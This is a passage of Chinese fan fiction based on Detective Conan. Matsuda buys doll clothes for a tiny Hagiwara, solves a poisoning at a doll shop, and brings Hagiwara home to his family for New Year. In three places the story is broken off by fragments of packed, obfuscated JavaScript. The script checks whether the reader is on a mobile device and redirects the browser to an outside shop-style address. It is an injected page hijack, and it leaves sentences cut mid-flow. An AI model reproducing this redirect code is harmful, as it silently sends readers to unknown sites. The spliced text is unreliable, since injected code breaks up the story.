他专门去问了一下,查出来秋叶原有一家很火的bjd娃娃店,虽然主营是bjd,但店里还有其他类型的娃娃,就连配套的衣服、娃娃专属家具都有。 秋叶原离的很近,松田在东京站上车,随着车窗外的建筑物不断后退,大概几分钟后就到达了目的地。而这期间口袋里的萩原就安静地靠着他的大腿,偶尔动一动。 秋叶原的街道拥挤而喧闹,这里是二次元爱好者的天堂。 松田阵平按照导航,一路找到了那家玩偶专卖店,店铺装修风格特别很可爱,粉粉嫩嫩的充满了少女心,橱窗里陈列着各种精致的bjd娃娃。 店内的生意很好,不仅有女生,还有一些男生也在选购,看得出bjd娃娃是年轻人的受众,十分受欢迎。 松田阵平觉得他和这里有点格格不入了,虽然他之前也很喜欢和萩原来秋叶原买游戏机。但来这种店还是头一回,他站在门口时,罕见有了退缩的想法。 “……”做足了心理准备后,松田阵平推开了这扇通往新世界的大门。风铃发出清脆的声响,柜台后的年轻女孩抬起头,露出一个礼貌的微笑,“欢迎光临。” “请问有什么需要帮助的吗。” “我自己看看就好。” 店员点点头,不想被人打扰的客人她也遇见了很多。告别客人后就继续在柜台忙自己的事情了。 松田阵平环顾四周,目光忽略那一排排的娃娃,自动落在货架上分类挂好的小衣服上。不得不说这里的衣服太多了,基本上服装店能看到的衣服款式这家店都有。 当然不仅仅是款式,分类也很多,像外穿的衣服、内穿的睡衣、鞋子裤子、配饰等等都有,而且因为小巧每一件都精致得不可思议。 除了这些,他还微妙地看到了娃娃可以穿的——某种贴身衣物。 松田阵平默默移开了视线,根据货架上的指示,找到了适合萩原研二目前体型的衣服,“先给你挑几套日常穿的衣服,鞋子你应该用不上吧。” “睡衣要不要,咳咳贴身衣物呢?” “咳咳,要吧。”萩原研二飘忽了视线,耳根发烫。 他将注意力拉了回来,放在衣服上。打量着一排排货架,毕竟是给娃娃穿的,更多的还是可爱风格。萩原终于看到了一件,眼睛放光:“我想要那件粉色的衬衫,小阵平。” 松田阵平顺着他的视线找过去,萩原研二在穿衣搭配上的审美值得肯定,在他自己的挑选下,又很快找到一条黑色的休闲裤进行搭配。 萩原选完一套,又想搭配一套休闲风,转了半天指挥着给他拿了一件长款卡其色格子风衣,里面搭配稍微浅一点的同色系t恤,外加浅灰色裤子。 没想到给娃娃穿的衣服,居然也有这么帅气的类型。萩原研二在口袋里捂着脸想,果然他无论怎样就是最帅的啦。 选完了外穿的衣服,他们又去挑了几件内穿的。松田阵平还买了一副娃娃墨镜给萩原戴上。 想了一会,松田带萩原来到了用品区看看,大部分小房子沙发之类价格都偏贵,这些萩原也用不上。不过小型的碗、筷、勺子这些可以买一点。 挑挑选选,松田阵平带着满满一篮子东西来到柜台结账。 在排队的时候,他忽然有点庆幸——还有爆物处的同事都在上班,偶尔休息的也不会来这个地方。不然被人碰到了,谣言不知道会传成什么样子。 很快就轮到松田阵平结账,他把篮子放上去,“就这些。” “好的,我为您结账。”店员接过商品进行结算,“对了,我们店后面有专属的娃娃试衣间,如果您想给玩偶试穿衣服或者拍照的话,都可以去那里。” 松田接过纸袋,道了声谢,转身准备离开。就在这时,店铺内突然传来一声尖叫。 “啊——!!” “死人啦!!!” 松田阵平几乎是本能地冲向声音传来的方向,店铺后面是一条走廊,尽头是一扇半开的门,门牌上写着试衣间三个字,就是刚刚店员提到的地方。 门口站着一名中年男人,面色惊恐。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17230930|197000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“我是警察。”松田阵平从口袋里拿出警官证,让男人站到一边,自己则走进去。 一个女人靠在沙发上,面色发绀,嘴唇呈现出不自然的樱桃红色。她的手边散落着茶杯的碎片,茶水在茶几上洇开一片深色。 松田阵平快步走过去,手指探向女人的颈动脉,没有脉搏,皮肤也已经凉了。 “小阵平。”萩原的声音从他口袋里传出来,带着凝重,“特征大致符合□□中毒现象。” 松田站起身,目光扫过房间。茶杯碎片、茶几上的水渍、女人指甲缝里隐约可见的荧光痕迹。他掏出手机,果断拨通了报警电话。 “这里是东京都千代田区秋叶原3丁目,忘却之森人形店。发生了一起命案,死者女性没有生命体征,疑似□□中毒,请立即派人过来。” 挂断电话,他低头看向口袋。萩原探出脑袋,小小的脸上满是严肃。 “小阵平,这个案子……” “我知道。“松田低声说,“你安静点,别让人发现。” 十分钟后,搜查一课的人到了,带队的人正好是昨天才见过的目暮警官。 “欸,松田老弟你怎么在这里?”目暮警官面上带了震惊,他后退一步,左右打量环境,又不可置信地看向松田阵平手里还提着的——印着“忘却之森” Logo的袋子。 松田阵平额角跳了跳,最不愿意发生的事情好像还是发生了。最明显的就是目暮警官身后的一众队员,是同款惊骇地表情看着他。 好像已经预料到了谣言在今天过后又会怎么发展了,无非就是什么连目暮警官都亲眼目睹,那位爆物处松田警官在闲暇之余去买娃娃用品,果不其然谣言属实的话罢了。 他不在意,真的不在意。 松田阵平磨了磨牙,条件反射的想去推墨镜。然后又摸了个空,他终于想起来被忽略的事是什么,原来他忘了买墨镜。 “……”松田警官选择放弃挣扎,归根结底这也不算谣言了,风评什么的不重要,他一点也不在乎。 “我过来买点东西,听到惊叫声就过来发现了死者。”松田阵平指了指旁边站着的中年男人,“他就是最先发现死者的人。” 目暮警官的目光在他脸上停留了几秒,“好的,松田老弟。你有发现什么吗。” 松田阵平清了清嗓子,把十分钟里发现的一些线索告诉了目暮警官,得到了后者的大力赞赏。 现场勘查很快展开,门店暂停营业。 死者被确认为店铺店长大和雅子,28岁。初步判断死亡时间为下午四点到五点之间,死因是□□中毒。 “目暮警官。”一名年轻的刑警走过来,手里拿着记事本,“我们询问了店里的员工和当时的客人。案发时间段内有三个人单独进入了试衣间。” 目暮警官接过笔录,快速浏览。确认情况属实之后,其他客人都被疏散,只留下了三位与死者相关的嫌疑人。 经过询问,目暮警官和松田都对他们三个人的身份有了大概了解。第一个发现死者的男人叫做佐藤健海,今年35岁。是店长的合作伙伴,也是娃娃素体的供应商。 他面上还残存着惊惧,话都说不利索了,“我找她只是为了谈生意上的事,如果我杀了她我还回来干什么。” 另一个被叫过来的是死者的表妹,在店里兼职,正是刚刚在柜台给松田阵平结账的店员。大和百合子显然也不可置信,明明今天还跟她打过招呼的表姐,怎么突然死于非命。 更可怕的是,表姐在店里死的。几乎是一想到这,大和百合子就止不住后怕。最后一次见到死者是在下午两点,她苦涩道,“表姐说下午五点要和别人谈合作,让谁都别去打扰她。” “你们试衣间里没有监控吗?”松田问。 “没有,表姐很注重隐私,所以只在外面走廊装了监控。”大和百合子回答。 “虽然试衣间没有监控,但我们刚刚调到了走廊的监控。事实证明这三人确实在不同时间段单独进入过试衣间,时间充裕。”一旁的队员插话道。 “三个人?但这里只有两个吧。” 话音刚落,短发女警官就带来了最后一位长发女人,她叫田中美奈,是店铺的BJD修复师兼妆师。她一直在另一间房间内给娃娃上妆,监控查到她在20分钟前进了一趟试衣间。 田中美奈用纤细的手指卷了卷黑色长发,姣好的面容上写满了淡漠,“我确实来过一趟,但十分钟不到我就走了。” “这怎么看都和我没关系吧。” 15.觉醒超能力的第十五天 这家伙的态度有点不对劲。 松田阵平微微皱眉,脑海里飞快闪过死者指甲缝里残留的荧光痕迹,还有地上那只碎裂的茶杯。他转头看向搜一的队员,干脆问他,“茶杯的检验结果出来了吗?” “初步报告杯口有检测出氰|化物反应,但杯身内侧和茶水里面都没有。”见目暮警官对此都没有说什么,队员也如实汇报。 毒物不是下在茶里,而是直接涂在杯口。要么毒是提前下好的——问题是桌上的杯子是一套,凶手又怎么确定死者会用哪一个杯子喝水呢。 松田阵平想到另一个猜测。他低头看向口袋像是自言自语,用只有萩原能听到的声音小声问,“你觉得呢?” “小阵平,还记得我们高中遇到的那个案子吗?”萩原研二也小声回答他,“毒也是涂在杯口的,这两种情况是不是有点类似。” “记起来了,你是说班主任在婚礼现场被下毒那次?” “那个案子的凶手是老师的未婚夫,”萩原顿了顿,“有足够的理由和身份亲近死者。” 松田若有所思地点点头,他也认为当死者的面下毒的风险更小,会比另一个可能性更高。 视线扫过桌上,卷发警官陷入沉思。老实说这两个条件好像都指向了大和百合子。毕竟她是店员,同时也是死者的表妹,无论哪个方向她都最方便下手,但她没有杀机。 从动机的急迫性来讲,佐藤健海最有可能,反而从作案方法上来说他又最不可能,他们两之间的关系相互警惕,当面下毒可能性不大。 松田阵平径直走向三位嫌疑人,目光在每个人身上扫过。 田中美奈在最角落里,神情冷淡不见慌乱。手指无意识地绞在一起,松田阵平发现她指甲内侧,沾着和死者身上同款的荧光色颜料。 佐藤健海站在窗边,表情由原先的惶恐变得放松了不少,只是眼中时不时闪过几丝焦急,不断低头看着手腕上的表。 大和百合子站在搜一队员旁红着眼眶,脸上的悲伤溢于言表,手里攥着一张纸巾。 “田中小姐。”想了想,松田阵平准备从目前他最怀疑的人入手,大步走过去,装作不经意地问,“我听说你是店里的妆师?” 田中美奈抬起头,点点头,“是的。” “我看田中小姐手上沾染了一种很特别的颜料。” 她下意识想把手缩回来,反应过来后又只是淡淡瞥了一眼指尖,“这是试妆用的新型颜料,还没对外公开。” “可能是不小心粘上去的吧,毕竟我过来的时候正在给娃娃化妆,有什么问题吗。” 松田阵平想起死者指甲缝里相同的痕迹,“没什么,只是觉得颜色很特别,这种颜料只有你那里有吗。” “是的。”田中美奈的声音平静,提及店长时,眼底掠过一丝极淡的恨意,“这是我的专用颜料。” “等等,表姐她不是也有吗。”大和百合子忽然开口,“我记得店里有好几款爆火的妆容都是表姐亲自设计的,里面也用过这种颜料吧?” 松田阵平的视线投向田中美奈,只见长发女人垂头,鬓边的长发遮住了她的表情,冷笑一声,“那些都是我设计的。” “什么?”大和百合子不敢置信地惊呼出声,“表姐说那些都是她自己构思设计的呀。” “看来那个女人对自己的表妹都没有脸说出真相。”田中美奈不屑地勾了勾嘴角,“店里的每一款用在娃娃上的妆容,都是我一笔一划设计出来的。” “只不过推出后就变成了她的专属。” 看来田中美奈的杀机出现了,松田阵平微微敛眸,又问:“今天下午你几点去的试衣间?” “四点四十分左右。我去找店长谈版权的事情。她答应过我只要最新的限量款上市销量不错,就会把之前几款限定妆面的署名权还给我。” “谈了多久?” “大概十分钟,但我们没谈拢。”田中美奈抿了抿嘴角,“不仅之前的署名权不会还给我,以后的作品依旧是她的名字。” “那你就这么算了吗?”目暮警官问道。 “不然呢,我犯不着要杀了她。”田中美奈冷冷看向目暮警官,说,“我大可以辞职去其他地方,我照样可以推出我的妆面。” 松田阵平点点头,又转向佐藤健海。 “佐藤先生,你呢?” 佐藤健海皱着眉,“四点十分左右,我想去找大和小姐商量一些事情。” “你们谈了什么?” “……”佐藤健海咬牙,半天不肯开口。 目暮警官扶了扶帽檐,“就算你现在不肯说,我们照样能调查出来。” “我和她是合作关系,她发现最新供应的原材料有问题,就威胁说要告发我。”佐藤健海没办法,只好如实说了出来。 “我承认确实有点问题。” “但我也愿意赔偿,毕竟事情闹大我的生意也完了。但就凭这点我也犯不着要杀了她啊,那问题不是更严重了吗。”佐藤健海看面前的警察们脸色都不对了,又连忙补充。 “那你待了多久?” “十分钟不到,她让我滚,我就走了。”佐藤健海说,“回去后我不甘心,想回去找她重新谈谈,结果就发现她死了。” 松田阵平沉默,一个两个的怎么都喜欢在试衣间谈话,这么大的店都没有专门的办公室吗,不过他也差不多把佐藤健海排除了。 最后是大和百合子,女孩的眼睛红彤彤的。 “百合子小姐,你负责店里的什么工作?” “招待客人和店里的一些其他事物,不过试衣间和化妆间我一般都不能进去。”她的声音很小,“今天下午两点钟,我给表姐送新到的茶叶,她让我给她,之后我就没见到过表姐。” “你当时有注意到什么异常吗?” 大和百合子摇摇头:“没有,我只是把茶叶给她,然后就回店里招待客人了。” 松田阵平重新回到试衣间内,蹲下身打量茶杯碎片。杯口的那一圈,确实和杯身的材质有些不同。 他又去看了一眼桌上的其他茶杯,发现碎掉的茶杯和另外几个有些微妙的不一样,颜色确实会更深一点。 氰|化物没有改变物体颜色的能力,这个杯子和其他的杯子不是一套,是被人掉了包。 松田用手帕裹住手指,拾起一块还算完整的碎片看了一眼,唇角忽然勾起一抹了然的笑。 原来如此。 他全都明白了。 “萩,你也看出来了吧?” 萩原研二从口袋里探出一个小脑袋,也跟着点点头,“嗯,是我们把事情想得太复杂了。” 等他走出试衣间时,目暮警官还在与众人问话。 卷发警官找到大和百合子问了她几句话,就愈发肯定了心中的猜测,目暮警官一眼捕捉到他胸有成竹的神情,立马问道,“松田老弟,有眉目了?” 青年微微颔首,目光径直投向人群中的田中美奈。所有线索都指向了同一个人。 “我已经知道凶手是谁了。” 目暮警官眼睛一亮,神色难掩惊喜,“欸,真的吗?” 察觉到自己成了全场视线的焦点,田中美奈缓缓抬眼,眸中没有慌乱,也没有辩驳,只有一片异常平静的漠然。 “是啊,已经确定了。”松田阵平眸中带上笃定,“还不打算承认吗,田中小姐?” 她身形几不可查地一顿,闭了闭眼,终于轻声开口。 “……是我做的。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17258703|197000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 不要将案件想的太复杂,回到事件的本质。只有田中美奈的动机最强烈,手法和留下的痕迹无比清晰,最终无可辩驳。 松田阵平将放在证物袋里的茶杯碎片拿了出来,“凶手不需要在茶里下毒,也不需要接触死者的杯子,她用的是最简单的手法,替换茶杯。” 他指向碎片边缘那圈颜色略深的杯口,“这个杯子,和桌上其他茶具根本不是一套。杯口经过特殊处理,氰|化物就被提前涂在杯口内侧。” “大和百合子小姐表示死者有强迫症,习惯用固定的位置喝水,只要确保她拿起这只被动过手脚的杯子,毒就会通过嘴唇接触进入体内,当场毙命。” 松田继续看向田中美奈,语气没有起伏,“能自由进出休息室,熟悉死者习惯并且有充足时间调换杯子,还能在案发后第一时间清理痕迹的人,只有你。” “只要调查一下你的购买记录就能找到最直接的证据,还有死者指缝里留下的特殊颜料。” “至于大和百合子,只是你刻意放在旁边用来混淆视线的幌子。” 目暮警官恍然大悟,“原来如此。” “不止这些。”松田指尖轻点桌面,“你替换杯子时太过匆忙,没注意杯口材质与整套茶具不符,就有了最明显的破绽。 田中美奈垂在身侧的手微微收紧,带着压抑的恨意,“她剽窃了我所有的设计冠上了她的名字,我提了辞职她却更加不肯放过我,反而威胁我——声称只要我敢辞职,就告诉所有人我才是那个抄袭者。” “我就知道没办法了,我只有杀了她。” “杯子是我提前准备的,毒也是我涂的。我算好了她喝茶的习惯,算好时间,假借谈谈的名义去确定她有没有用杯子喝水。” 她释然地笑了笑,“一切……都是我做的。” 目暮警官示意身边的队员给她戴上手铐,田中美奈伸出手任由自己被扣住手腕。 “带走。” 松田阵平收回目光,将证物袋递向一旁的搜查队员,声音不带一丝温度,“如果你保留足够的证据,就能以侵占署名权的罪名让她接受法律的制裁。” 他顿了顿,目光扫过田中美奈的背影,“你本来可以不用走到这一步,却偏偏选了最极端的一种。这其中有没有私心,只有你自己心里最清楚了。” 田中美奈脚步微顿,喃喃自语,“可能是吧。”从一开始她就选错了,而这句话里藏着深深的自嘲。 笔录会等他有空的时候再去,等走出店铺的时候,夜已经完全深了。夜风吹过街道,也拂过他毛茸茸的卷发,带来冬天的凉意。 松田阵平把一只手插进口袋,用手指轻轻碰了碰那个小小的身体,萩原研二用手回握住他的指尖。 “那么,要回神奈川吗?” 距离站台的灯光一点点靠近,松田阵平脚步不自觉放慢,低头望着口袋里探出来的小脑袋,唇角轻轻抿了抿,“别在意我今天说的话——萩,我尊重你的一切决定。” “……我肯定让他们难过坏了。”萩原研二愣了一瞬,随即轻轻地笑了笑,整个人都放松下来,安心地靠在口袋里,“可是抛开所有的顾虑而言,我确实是想见他们的。” 向来只会猛踩油门的松田阵平立刻摸出手机,想都没想就要给高桥警官请假一天,下一秒却被爱踩刹车的萩原研二拦住。倒不是临阵退缩,只是他心里有了另外的打算。 萩原从口袋里微微站直,轻咳两声,“小阵平,马上就要新年了,你有假吗?不如我们偷偷给他们一个惊喜…” “……” 虽然不想承认,但新年那天出现到底是惊喜——还是惊吓啊。 “没问题。”一拍即合的松田阵平干脆应了一声,半点犹豫也没有。 16.觉醒超能力的第十六天 年末的风卷着冬日里清冽的寒意,吹过神奈川的街巷,卷起几片干枯的落叶,又轻轻落在地面。时间转瞬即逝,眨眼间就来到了十二月下旬,而新的一年即将来临。 萩原宅。 萩原妈妈正打算和丈夫出门采购食材,刚踏出家门手机便响了起来,来电显示是远在东京的松田阵平。 打开手机时,她发现现在才早上九点,这个时候松田应该正在上班才是。生怕耽误了什么要紧的事,萩原妈妈赶紧接通了电话,“阵平呀,怎么突然打电话过来了?” 听筒里传来青年熟悉的声音,在听清楚他说的是什么后,萩原妈妈先是一怔,随即眼睛微微睁大,“欸!阵平你说什么?” “要带很重要的人回来和我们一起过年?” “好好好,阿姨一定好好准备。”电话来的有些突然,此时她也顾不得太多,满口应了下来。满脑子都是等会要去买些什么、要准备些什么,才能更好体现出他们一家人的重视。 萩原妈妈丝毫不觉得哪儿奇怪,松田阵平带人回来为什么要先来萩原宅。毕竟在她心里,松田早就和自己的孩子没什么区别了。 只听对面的人又顺势问起萩原千速,说是机会难得,最好萩原一家人都聚一聚,也正式见见那位重要的人。 这话一出来,倒是让萩原妈妈心头的好奇一下子被勾了起来,对方到底是哪种天仙人物,能让松田阵平这么重视。 “听千速提起过一嘴,她过年期间有一两天假,我会叫她回来的。”她自然是满口应和,又笑着打趣,“你这孩子啊,能不能先跟阿姨透个底?到底是谁呀,弄的这么神神秘秘。” “到时候你们就知道了。”拥有良好保密原则的卷发青年绝口不提。 萩原妈妈倒是还想再旁敲侧击几句,电话那头却忽然传来一阵急促的呼喊,打断了他们的对话——“松田队长,有人报案发现危险物品!” “阵平快去忙吧,阿姨和叔叔等你们回来。”萩原妈妈贴心地说。 松田阵平还想说些什么,迫于情况紧急,只好简短地说了一句,就结束了聊天,一通电话很快被挂断。 听着耳边传来的忙音,萩原妈妈手中还握着手机,掩饰住听到松田出任务时心中下意识浮出的担忧,不过她相信这孩子能解决好一切。 收敛好情绪,脸上重新挂上笑意,她睨了一眼身旁凑过来同样好奇的丈夫,也不卖关子,“阵平说,今年过年会回来。” “欸,那不是很好吗。”萩原爸爸附和了她一声。 “还没完呢,他说会带很重要的人一起回来,说是给我们的惊喜。”萩原妈妈捂住嘴,满脸八卦,“亲爱的,你不好奇吗?” 萩原爸爸微微一愣,也跟着思考,“确实很少听阵平说过这种话。” “嗯,他还特意强调什么很重要,一定要一起见见什么的。”萩原妈妈琢磨了半晌,随后整个人向后仰了仰,“等等、等等——” “阵平从来不会随便说这种话……不会、不会是女朋友吧?” 两人面面相觑,都从对方眼底发现了震惊。不过他们也觉得这个猜测八九不离十,八成就是正确答案了。 除了女朋友以外的选项还能是什么,总不能是什么新朋友、新同事吧。那几个选项是能特意带回家看看的存在吗。 萩原妈妈嘴里止不住的感慨,“没想到阵平也到了把女朋友带回家的年纪了,如果研二还在也会很开心吧。” “没错,那我们得好好准备。把家里收拾干净,买点好看的松竹摆上。对了,年菜也得多准备一些。” “我去叫千速,让她务必确认好行程,不能怠慢了人家。” “…………” “!!!!!!!!” 天呐,他听到了什么。 “啪”的一声,耳边传来袋子掉落的声音,混杂着啤酒瓶摔在地的滚动声。萩原父母被吓了一跳,连忙回过头只看见在不远处的路边——满脸惊愕的松田丈太郎——整个人直愣愣地站在原地。 他满脑子都是——他家那个臭小子……要带女朋友回来?! 下一个念头就是——什么,他居然还特意瞒着他老爹?! * 今天是无比寻常的一天,松田丈太郎慢悠悠走在普通的路上,手里拎着去便利店买来的普通啤酒,打算回家小酌几杯。 松田宅就在萩原宅地隔壁,回家时也能正好经过。他远远就看见萩原父母正站在一块聊天,本来打算过去顺便打声招呼。 谁知道刚走近——耳边就精准捕捉到他们提到了自己儿子的名字。 不听不知道,一听吓一跳。松田丈太郎脚步直接扎根在原地,手中的啤酒也僵硬地滚落在地。 萩原爸妈闻声看过去,只见松田丈太郎那头卷毛看起来都更凌乱了,眼睛瞪大,一脸不敢相信的表情。 他没听错吧,刚才那几句……带重要的人回家……女朋友? 松田丈太郎的脑子当场死机,女朋友、女朋友、女朋友……思绪乱作一团,心里只有这一个词循环播放。 臭小子,交女朋友都不告诉你亲爹是吧。 真是胆子肥了你! 你老爹就这么拿不出手吗! 萩原爸妈见他这副模样,先是一愣,随即忍俊不禁,“松田先生早上好,阵平有没有给您透露些内幕消息啊。” 松田丈太郎猛地回神,尴尬地干咳一声,他怎么可能说出来——那小子只跟他打了个电话说过年会回来,什么重要的人那是一个字没说啊。 他强装镇定,“没、没什么……他什么都没和我透露,不过你们说是女朋友?” “是啊,我们猜应该是这样的,具体要等阵平回来才知道呢。”萩原妈妈笑着点头,“那孩子口风真严,居然连松田先生都瞒着。” “哈哈哈,是啊。”松田丈太郎咬着牙重复了一遍,心中已经自动脑补完了一整部“儿子偷偷谈恋爱”的大戏,“居然连我都瞒着,我也很好奇啊。” “我们正准备去买些过年要用到的东西,是不是该准备点见面礼,亲爱的?” “确实,第一次见面总是需要的,”萩原妈妈附和,又冲松田丈太郎问道,“松田先生要不要一起去?” 松田丈太郎只觉得脑子里嗡嗡的,他踉跄后退了一步,勉强道,“我先把东西放回去,我晚点再准备。” “欸,这样也好。那我们先走了。” “好,再见。”匆匆和萩原爸妈道完别,松田丈太郎急切地将地上的酒瓶子捡起来,就脚步飞快地往家赶。 他要回家兴师问罪! 一进门,松田丈太郎就把塑料袋“哐当”一声往桌上一丢,顾不得坐下喘口气,立刻摸出手机。指腹重重敲在按键上,连指尖都带着压不住的火气,恶狠狠地拨通了儿子的电话。 电话响了好一会儿才被接起,听筒里传来松田阵平那标志懒洋洋的声音,问了一句,“干嘛?” 松田丈太郎压着嗓子,语气沉得吓人:“松田阵平,你给我老实交代——” “喂喂,要我交代什么?”松田阵平听得一头雾水。 “哈,还要我直接说出来吗!”松田丈太郎对着话筒怒吼,“就是你过年要带回萩原家的那个——很重要的人——到底是谁!!” 松田阵平愣了一下,显然没料到他爹会突然问起这个,下意识摸了摸鼻尖,“……你怎么知道的?听他们说的?” “这才过去半小时不到,老头子你消息也太灵通了。” “你少管我怎么知道的!”松田丈太郎火气不减,正在持续爆发中,“交了女朋友还敢瞒着我?我是你爹,居然不先跟我说一声?” 电话那头沉默了两秒。 紧接着,松田阵平没有忍住,一声清晰欠揍的嗤笑清晰地传了过来。 “……女朋友?”松田阵平慢悠悠地重复了一遍,语气满是戏谑,“老头子,你想象力还挺丰富的。” “不是女朋友,那你说是什么重要的人?!” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他当然没想着到底是不是带女朋友回来,只是老父亲的态度摆在这。这是除了萩原家那小子以外,第二个被松田阵平称为重要的人。 那是不是意味着,松田阵平已经从那件事里走出来了一点呢。 * 从心理医生那里拿到了松田阵平没什么问题的结论报告,高桥警官也松了一口气,他的王牌独苗苗没什么问题真是太好了。 也因此在接到松田过年的休假申请时,他很爽快的就同意了,好好过个新年放松下心情,回来后再好好上班。 下班后,松田回去简单收拾了下行李,给萩原玩偶套了一身前几天在娃娃店买的粉色衬衫。 暮色像一层朦胧的薄纱缓缓落下,将高楼与街道笼罩在其中,松田阵平跨坐在机车上,长腿稳稳撑在地面。 额前的卷发随风微微地晃动,他换下了工作需要常穿的正式西装,换上了一件黑色皮夹克,利落的设计衬得他身形挺拔。 他低头指尖轻轻按了按胸口内侧的口袋,那里坐着一个小小的萩原研二。 “坐稳了?”松田问。 浅浅笑意从他胸口处传来,“我好了。” 松田阵平的唇角几不可查地勾了一下,把挂在一旁的头盔戴好,抬手将口袋边缘按了按,确保风不会灌进去太多。他握住车把手腕一转,拧开油门,机车引擎发出低沉的轰鸣,快速地驶出路口。 东京通往神奈川的公路在傍晚也不显得空旷,大晦日的归家的人也有太多。他刻意避开了风口,将车身微微偏向内侧,试图让风更多地打在自己身上,而不是直接吹向胸口的位置。 萩原研二靠在暖烘烘的口袋里,后脑勺紧紧贴着松田的胸膛,和风声一起来的是幼驯染每一次有力沉稳的心跳声,隔着薄薄的布料清晰地传进他耳中。 他能感受到机车行驶时的震动,鼻尖还能闻到来自松田身上一股淡淡的烟草味和海风的咸湿气息。 海浪在拍打岸边,哗啦啦地卷起浪花。 这些都是他熟悉的一切。 他又一次回到了从小生长的地方,神奈川。 17.觉醒超能力的第十七天【待修】 机车驶入熟悉的住宅区时,夜色早已彻底漫过天际。家家户户从窗外透出暖黄灯火,星星点点连成一片,衬出夜色的温馨。 今天本是阖家团圆的日子,伴随而来的还有远处飘来的饭菜香气,一起构成了独特的年味。 松田阵平松开油门,指节轻扣刹车,低沉的轰鸣声渐渐停息,车停在路边,前方就是萩原宅。他没有急着过去,上半身随意地倚靠在车上,视线落向自己胸口的口袋处。 “萩。”他叫了一声。 口袋里应声传来布料摩擦的细碎声。 “这么快就到了吗?”萩原研二的声音传了出来,还带着几分藏不住的紧绷感。 “离得本来也不是很远,不过我说——你是不是紧张过头了。”察觉到小玩偶变得有些僵硬的身体,卷发青年用指尖按了按口袋外侧,没有太用力更像是一个无言地安抚,“只是回家而已。” 口袋里的人明显沉默了一瞬,身体下意识往他心口更贴近了一点,“我也知道啦,只是……” 不过松田阵平倒也了解对方的心情。明明是亲密的家人,现在却要用这幅模样见面,不安和茫然都真的,但期待久别重逢的见面也是真的。 他抬手把外套的拉链往上拉了一截,“什么都不用担心,有我在。” 萩原研二顿了顿,摇头否认,“我当然想见到爸爸妈妈和姐姐。” “那就不要有那么多顾虑了,萩。”松田阵平打断他的话,“这种时候,总不能临门一脚踩刹车。” “说的也是啊,小阵平。”萩原研二眸中闪过一丝坚定,他看向写着萩原宅的门牌,抿了抿唇,“走吧。” 松田阵平将萩原研二重新赛回口袋,将头盔放好锁上车,向前走了一段路,站在萩原宅的门口。 他按了按门铃。 等了没一会,门就打开了。 萩原千速穿着一身简单的家居服,看见是他眼神柔和下来,“大忙人终于来了,就等着你吃饭呢。” 屋里的萩原妈妈听到声音,立刻从客厅走了出来。她的鬓角又添了几缕白发,看向松田的眼神里满是心疼与温柔,笑道,“快进来快进来,外面冷。” 她往外探了探头,发现只有松田一个人的身影,忍不住开口,“阵平不是说要带很重要的人回来吗,怎么只有你一个?” “是啊。”萩原千速撩了一把长发,抱着手臂站在门口,她危险地眯了眯眼睛,“难不成惹女朋友生气了?” “……”你们到底是怎么得出女朋友这个结论的,也真怪不了他家老头子能想到那里去。 “我们先进去说吧,阿姨、千速姐。” 松田阵平换上拖鞋,被萩原妈妈领着来到了客厅,萩原爸爸坐在客厅的沙发上对他点头微笑。而餐厅的桌子上已经摆满了各种各样的菜,荞麦面的热气也没散尽。 似乎是察觉到松田严肃的表情,萩原妈妈也没张罗着先吃饭的话,而是和萩原千速一起坐在了沙发上。 “阵平,你就直说吧。” “我接下来说的事,不是开玩笑。”松田阵平抬眼,认真道,“全部都是真的。” 他摸向口袋的位置语气平静,没给人缓冲的机会,直接撂下一句,“我带回来的人是萩原研二。” 正在紧张的萩原研二:“……”小阵平你是不是太直接了啦。 压根没反应过来的萩原父母:“……” 眉头蹙起的萩原千速:“哈?” 萩原妈妈脸上的笑容顿住,有些艰难道,“阵平,你这是什么意思?” 松田阵平没有说下去,而是小心翼翼将手伸进口袋,萩原研二深呼吸一口气,主动跳进了幼驯染的手掌心里。 下一秒,萩原一家三口就注意到松田阵平的手心里多了一个快十厘米大的小玩偶。那熟悉的眉眼,嘴角上扬的弧度,发丝的走向都和他们思念了一年的萩原研二一模一样。 空气在这一瞬间凝固。 萩原妈妈瞳孔猛地一缩,下意识捂住了嘴,才硬生生将那声即将冲出口的惊呼咽了回去。她的身体控制不住地轻轻发抖,眼泪已经毫无预兆地砸了下来,视线死死黏在松田掌心那小小的身影上。 “阵平,你这话是什么意思……” 萩原爸爸一向挺直的肩背瞬间绷紧,呼吸都停住了,他向前迈了一步,又猛地停在原地不敢靠近,怕眼前这一切只是一场一碰就碎的幻觉,他脑中不断回忆松田话中的深意。 而萩原千速一向冷静自持的表情,第一次失去了平日的镇定。她的视线定格在那张熟悉的脸上,指尖微微发颤,声音抖得几乎不成调,“你说他就是研二吗,你真的不是开玩笑吗。” 松田垂眸,“让主角自己开口吧。” 萩原研二握紧了拳头,鼓起勇气朝着客厅里泣不成声的三个人慢慢开口,“爸爸,妈妈,姐姐。” 他顿了顿,眼眶微微泛红,却努力维持惯有的笑容,一字一句清晰地说,“我是研二。” “我……回来了。” 这一句落下,萩原妈妈再也撑不住,眼泪汹涌而出。她捂着嘴,一步步缓缓靠近,蹲在茶几旁,视线一刻也舍不得从那小小的身影上移开。 “研二……我的研二……”她的声音颤抖得不成样子,“真的是你吗?” 